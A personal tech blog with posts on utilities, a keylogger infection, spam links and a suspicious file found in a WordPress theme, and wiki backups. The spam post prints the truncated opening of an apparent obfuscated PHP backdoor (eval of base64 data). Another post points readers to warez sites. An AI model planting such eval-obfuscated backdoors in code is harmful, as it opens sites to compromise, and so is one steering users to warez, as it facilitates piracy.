Lee.org

I just placed my first order for a microcontroller… an Arduino-clone called RBBB (Really Bare Bones Board)

I’ve written about this before. Here is the latest installment…

Astra32 –  comprehensive information about the configuration of your system…. to help you get rid of driver problems for Windows

Combined Community Codec Pack: This lets Windows Media Player play pretty much any video format including DVDs. You install it and it JUST WORKS :-)

HOW TO – Put DVDs on the iPhone – the super simple way. Use Handbrake

How to archive your DVD collection. Use DVD Decrypter v 3.5.4.0 by Lightning UK! (find it at your favorite warez site) The author’s original site doesn’t work anymore.

Sysinternals File and Disk Utilities:  These tools are great! I’ve only listed the first couple categories of tools here. There are more, check it out.

When you are logged onto a computer via VNC, it can be hard to tell if the hard drive is busy since you can’t hear it remotely. Run DiskMon and you can see it!

Here’s the full list of disk tools:

AccessChk: This tool shows you the accesses the user or group you specify has to files, Registry keys or Windows services. Continue reading ‘Lee Recommends Computer Programs’ »

I still don’t know how but I got a keylogger malware on my computer. Apparently I’ve had “HellzLittleSpy” on my computer for maybe 2 weeks. Grr! So I’m off to change all my passwords and crap. Maybe I’ll still have to reinstall Windows too.

I noticed that every evening around 7 or 8pm my computer got wonky. iexplore.exe would start and consume a lot of CPU (20-80%) for minutes at a time. I couldn’t “kill/end process” iexplore.exe but I could “end process tree” it. But it would restart in a few seconds.

Then my computer talked to me. A couple nights ago it said something in Japanese with an announcers voice. Last night there was a 5 second clip that sounded like a porn movie. First a few seconds of modern but cheesy “ba dum dum dum” on a Casio and then some “Oo, ahh!” noises. I went away from my computer for a few minutes last night and this website was showing in my browser: http://sms.7988.net/goto?q=qm&company=9ying&9vuid=53662

To test a theory, I uninstalled Vuze/Azureus last night and my computer flipped out. Now I can only boot in safe mode. I ran Spybot in safe mode and it found HellzLittleSpy. I had previously run Spybot but it hadn’t detected the malware.

Update: Spybot also found the following that is a keylogger. :-(

{F03BDE84-4DB2-4DAB-B350-B07E6B918021} ()
location: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
BHO name:
CLSID name:
Path: C:\Program Files\Internet Explorer\
Long name: JvtnNt64.987
Short name:
Date (created): 12/9/2008 8:54:18 AM
Date (last access): 12/9/2008 11:01:10 AM
Date (last write): 12/9/2008 8:54:18 AM
Filesize: 49789
Attributes: hidden sysfile archive
MD5: 8D596C51291946C6D0AFAB926C21F801
CRC32: 02B3C9BE

I’ve been using PlainPaste by Skrommel for more than a year. When you’re running PlainPaste and you hit Ctrl-v, it strips out all the formatting info of whatever is in the clipboard and pastes just the text. It’s really useful when grabbing web page text and pasting it to other places.

Unfortunately, PlainPaste doesn’t always play nice with other programs. For instance, when you paste into Excel, Excel crashes :-(

So now I’m trying PureText 2.0  by Steve Miller. He also wrote the venerable Dependency Walker  which bodes well :-). Puretext claims to work similar to PlainPaste. Hopefully it won’t do bad things. We’ll see! It has the added benefit of playing a fun clave sound when you paste using Window-Hot-Key-v. Of course you can turn off the sound but it made me chipper.

Fucking spammers. Today I found a mountain of spam links for crap like zyrtec and zithromax in my footers.php.  All the links forward to  canadian-meds-shop.com. These are bad people:  scammers and thieves.

I also found a strange file in my wordpress theme file, 1.php. The file started like this:

<?PHP
              //Authentication
$login = “”; //Login
$pass = “”;  //Pass
$md5_pass = “”; //If no pass then hash
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//

I don’t know how this file got there or what it does but I’m pretty sure it’s bad stuff.

Do you want to try and figure out what this evil f’ing spam program does?  Here is the virus file. Caution! This is a bad program! (update: I removed the virus. It’s a bother that it keeps tripping my antivirus software.)

Tell me what you find out, would you?

Now I’ve got to figure out how they got on my system…. grrrrrr.

Installed Chrome this morning. I like it a lot. Fast. Exceptionally well thought out. Very nice new unobtrusive features. I envy the programmers that so deserve to be proud of it.

They’ve got some issues to hammer out with it. Little things on some of the pages I go to. But it’s beautiful. One little example: When I go to post.php in WordPress, Chrome starts scrolled to the bottom of the page. Sometimes all of the Chrome browsers hang for a few seconds at a time.

If you will be traveling and need offline access to your Mediawiki wiki, what should you do?

If you need to grab pages from a wiki that you aren’t the administrator of, you can try running a web crawler on it or try this Google Gears hack.

But if you are the administrator of the wiki (or you know the admin) you can make a Mediawiki2HTML dump. There is a Mediawiki extension that does it for you. Here’s how to run it:

fetch the DumpHTML extension with shell commands like so:

cd /whatever/mediawiki/extensions
svn checkout http://svn.wikimedia.org/svnroot/mediawiki/trunk/extensions/DumpHTML

run a shell command something like this as a cron job (create the appropriate folders first)

#!/bin/sh
# Generate a new html dump of wiki.orbswarm.com LCS 8-17-08

echo “deleting contents of /home/swarm/wiki.orbswarm.com-html”
rm -rf /home/swarm/wiki.orbswarm.com-html

# DumpHTML.php expects to be run from the maintenance directory. The skin won’t get HTMLified if you run it from another directory
cd /home/swarm/wiki.orbswarm.com/extensions/DumpHTML
/home/swarm/php5/bin/php dumpHTML.php -d /home/swarm/wiki.orbswarm.com-html -k monobook –image-snapshot –force-copy

echo “deleting /home/swarm/wiki.orbswarm.com/offline/*”
rm -rf /home/swarm/wiki.orbswarm.com/offline/*

/bin/tar -czf /home/swarm/wiki.orbswarm.com/offline/swarm-wiki-html.tar.gz /home/swarm/wiki.orbswarm.com-html/

The way the above script is set up, every day, the .gz file is placed in a web accessible folder. I can then download it before I go on my trip.

I finally finally was able to install my own PHP and eAccelerator on Dreamhost. After all the pain and teeth pulling and agony and frustration and hoop-jumping, it was really easy.

Short form:

Configure (set my domain name in both scripts) and run the 2 Alternative PHP 5 Install Scripts

Copy and paste into my .htaccess file.

Verify PHP is running.

Configure (set my domain name) and run the eAccelerator Install Script

Copy and paste into my php.ini file.

Grin

One warning.

I just took over administrating the QBOX Events mailing list. Laughing Squid is apparently getting out of the Mailman mailing list business.

This from the mailing list itself:

Charles Gadeken charlie@NOSPAMcellspace.org
Wed, 08 May 2002 16:51:13 -0700 (PDT)

• Next message: QBOX Events: QBox Events
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

---

Welcome to the QBOX list. This list is managed by Charlie Gadeken, if you have
any questions about how you ended up on this list feel free to ask me.
charlie@NOSPAMqbox.org If you do not want to be on this mailing list please follow the
link at the bottom of this message and unsubscribe yourself. 

This is the very first mailing for this new list. Many of you were on the My Old
Burningart Presents list, some of you are just my friends, others have requested
to be on this list directly. 

On the list you will hear about Events focused on mechanical, kinetic and
electronic art in the Bay Area. I expect to send out about one or two mailings a
month. All of these posts will be related to performance events, lectures and
gallery shows that support mechanical, kinetic and electronic art in the Bay
Area. I will be sending out an announcement for a show this Sunday "Power Tool
Drag Race after Party" which will follow this message.

Thank you for listening and i look forward to seeing many of you at our upcoming
events. 

charlie gadeken
director: QBOX
http://www.qbox.org

You can subscribe to the list via qbox.org or here.

I heard on Security Now about Crash Plan. It looks like it might be an excellent online backup tool. I had been fiddling with the idea of using BoxBackup (local mention). But it was too much of a bother to set up (and limited to <2 GB files).

Right now I use Mozy and I’m very happy with it. I needed it a few days ago when AVG Antivirus thought it would delete some files it thought were viruses. One of them was an .mbox file of a mailing list I ran several years ago that did indeed have a virus. The trouble is, it DELETED the file instead of putting it in the virus vault or the “Recycle bin”. It would have been GONE forever, fuckers.

And if you want to get Mozy, I will split the referral fee I get from them if you follow these instructions.

That said, Crash Plan looks very interesting. The demo shows a very pretty interface. You can backup files to your friends’ computers securely (so there’s no ongoing monthly payments). The $60 Pro version allows versioning. When my subscription is coming up, I’ll seriously think about using it. I know that if I had a total crash, I’d be grumbling at the time it takes to download the 90+ GB I have on the Mozy servers. They have a $30/DVD plan where you can burn copies of your data. That’d be quicker but still a bother. If the files were on a relative’s computer, I’d have them mail it to me.

Hmm, and with a linux install, maybe I could put my Dreamhost disk space to good use.